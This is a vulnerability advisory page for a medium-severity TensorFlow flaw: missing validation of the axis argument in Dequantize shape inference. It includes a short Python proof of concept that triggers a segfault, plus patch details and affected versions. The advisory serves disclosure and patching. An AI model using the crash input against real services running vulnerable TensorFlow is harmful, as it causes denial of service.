GHSA-qfpc-5pjr-mh26

Suggest an improvement
Source
https://github.com/advisories/GHSA-qfpc-5pjr-mh26
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-qfpc-5pjr-mh26/GHSA-qfpc-5pjr-mh26.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-qfpc-5pjr-mh26
Aliases
Related
Published
2021-08-25T14:41:23Z
Modified
2024-11-13T21:24:09.975258Z
Severity
  • 5.5 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • 6.8 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Missing validation in shape inference for `Dequantize`
Details

Impact

The shape inference code for tf.raw_ops.Dequantize has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:

import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Dequantize(
  input_tensor = tf.constant(-10.0, dtype=tf.float32),
  input_tensor = tf.cast(input_tensor, dtype=tf.quint8),
  min_range = tf.constant([], shape=[0], dtype=tf.float32),
  max_range = tf.constant([], shape=[0], dtype=tf.float32),
  mode  = 'MIN_COMBINED',
  narrow_range=False,
  axis=-10,
  dtype=tf.dtypes.float32)

The shape inference implementation uses axis to select between two different values for minmax_rank which is then used to retrieve tensor dimensions. However, code assumes that axis can be either -1 or a value greater than -1, with no validation for the other values.

Patches

We have patched the issue in GitHub commit da857cfa0fde8f79ad0afdbc94e88b5d4bbec764.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.

Database specific
{
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-1284",
        "CWE-20"
    ],
    "nvd_published_at": "2021-08-12T23:15:00Z",
    "github_reviewed_at": "2021-08-24T15:50:15Z",
    "github_reviewed": true
}
References

Affected packages

PyPI

tensorflow

Package

Name
tensorflow
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

tensorflow

Package

Name
tensorflow
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

tensorflow

Package

Name
tensorflow
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

tensorflow-cpu

Package

Name
tensorflow-cpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-cpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

tensorflow-cpu

Package

Name
tensorflow-cpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-cpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

tensorflow-cpu

Package

Name
tensorflow-cpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-cpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

tensorflow-gpu

Package

Name
tensorflow-gpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-gpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

tensorflow-gpu

Package

Name
tensorflow-gpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-gpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

tensorflow-gpu

Package

Name
tensorflow-gpu
View open source insights on deps.dev
Purl
pkg:pypi/tensorflow-gpu

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0